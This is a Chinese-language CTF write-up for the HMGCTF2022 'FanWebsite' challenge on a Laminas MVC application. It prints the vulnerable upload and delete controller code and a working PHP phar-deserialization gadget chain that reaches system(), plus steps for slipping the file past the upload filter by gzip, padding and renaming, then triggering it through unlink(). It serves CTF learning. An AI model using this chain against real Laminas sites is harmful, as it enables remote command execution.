HMGCTF2022-FanWebsite
知识点概要：phar反序列化、文件上传
题目首页
主页面标题是Laminas MVC Skeleton，说明是Laminas MVC架构的框架
MVC框架先看路由，在www/module/Album/src/Controller/AlbumController.php
<?php
namespace Album\Controller;
use Album\Model\AlbumTable;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
use Album\Form\AlbumForm;
use Album\Form\UploadForm;
use Album\Model\Album;
class AlbumController extends AbstractActionController
{
// Add this property:
private $table;
private $white_list;
public function __construct(AlbumTable $table){
$this->table = $table;
$this->white_list = array('.jpg','.jpeg','.png');
}
public function indexAction()
{
return new ViewModel([
'albums' => $this->table->fetchAll(),
]);
}
public function addAction()
{
$form = new AlbumForm();
$form->get('submit')->setValue('Add');
$request = $this->getRequest();
if (! $request->isPost()) {
return ['form' => $form];
}
$album = new Album();
$form->setInputFilter($album->getInputFilter());
$form->setData($request->getPost());
if (! $form->isValid()) {
return ['form' => $form];
}
$album->exchangeArray($form->getData());
$this->table->saveAlbum($album);
return $this->redirect()->toRoute('album');
}
public function editAction()
{
$id = (int) $this->params()->fromRoute('id', 0);
if (0 === $id) {
return $this->redirect()->toRoute('album', ['action' => 'add']);
}
// Retrieve the album with the specified id. Doing so raises
// an exception if the album is not found, which should result
// in redirecting to the landing page.
try {
$album = $this->table->getAlbum($id);
} catch (\Exception $e) {
return $this->redirect()->toRoute('album', ['action' => 'index']);
}
$form = new AlbumForm();
$form->bind($album);
$form->get('submit')->setAttribute('value', 'Edit');
$request = $this->getRequest();
$viewData = ['id' => $id, 'form' => $form];
if (! $request->isPost()) {
return $viewData;
}
$form->setInputFilter($album->getInputFilter());
$form->setData($request->getPost());
if (! $form->isValid()) {
return $viewData;
}
$this->table->saveAlbum($album);
// Redirect to album list
return $this->redirect()->toRoute('album', ['action' => 'index']);
}
public function deleteAction()
{
$id = (int) $this->params()->fromRoute('id', 0);
if (!$id) {
return $this->redirect()->toRoute('album');
}
$request = $this->getRequest();
if ($request->isPost()) {
$del = $request->getPost('del', 'No');
if ($del == 'Yes') {
$id = (int) $request->getPost('id');
$this->table->deleteAlbum($id);
}
// Redirect to list of albums
return $this->redirect()->toRoute('album');
}
return [
'id' => $id,
'album' => $this->table->getAlbum($id),
];
}
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}
public function imguploadAction()
{
$form = new UploadForm('upload-form');
$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}
return ['form' => $form];
}
}有一个文件上传功能
public function imguploadAction()
{
$form = new UploadForm('upload-form');
$request = $this->getRequest();
if ($request->isPost()) {
// Make certain to merge the $_FILES info!
$post = array_merge_recursive(
$request->getPost()->toArray(),
$request->getFiles()->toArray()
);
$form->setData($post);
if ($form->isValid()) {
$data = $form->getData();
$base = substr($data["image-file"]["name"],-4,4);
if(in_array($base,$this->white_list)){ //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
echo $img_path;
$form->saveImg($data["image-file"]["tmp_name"],$img_path);
}else{
echo 'Only Img Can Be Uploaded!';
}
// Form is valid, save the form!
//return $this->redirect()->toRoute('upload-form/success');
}
}
return ['form' => $form];
}白名单限制只能.jpg .jpeg .png三种后缀，有一个正则过滤phar文件"/<\?|php|HALT\_COMPILER/i"
找利用点，在imgdeleteAction()有@unlink($imgpath);，可以触发phar反序列化，原理是unlink()函数在通过phar://伪协议解析phar文件时，会将meta-data进行反序列化
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}构造如下exploit，本地php环境运行即会自动在当前目录生成phar.phar文件（笔者此处用的是phpstudy集成环境）
注意：要将php.ini中phar.readonly选项设置为Off，否则无法生成phar文件
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer{
abstract class AbstractWriter{}
class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}用xxd查看生成的phar文件16进制编码，在ASCII码侧可看到meta-data部分序列化的数据
由于会对phar文件的静态特征进行正则过滤，所以可以先gzip压缩，再修改后缀为.png，以此绕过正则过滤
参考：https://www.freebuf.com/articles/web/291992.html
imguploadAction()要求上传文件大小必须大于3kb，那么我们可以用16进制编辑器再将文件填充到大于3kb
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
在/album/imgupload上传修改好的png文件，返回图片的路径
然后在/album/imgdelete用phar伪协议访问图片地址，从而用unlink()函数触发phar反序列化
phar:///var/www/public/img/a9a9ccc55eab0928c1f05e1647a12575.png
点击提交，则成功获取flag
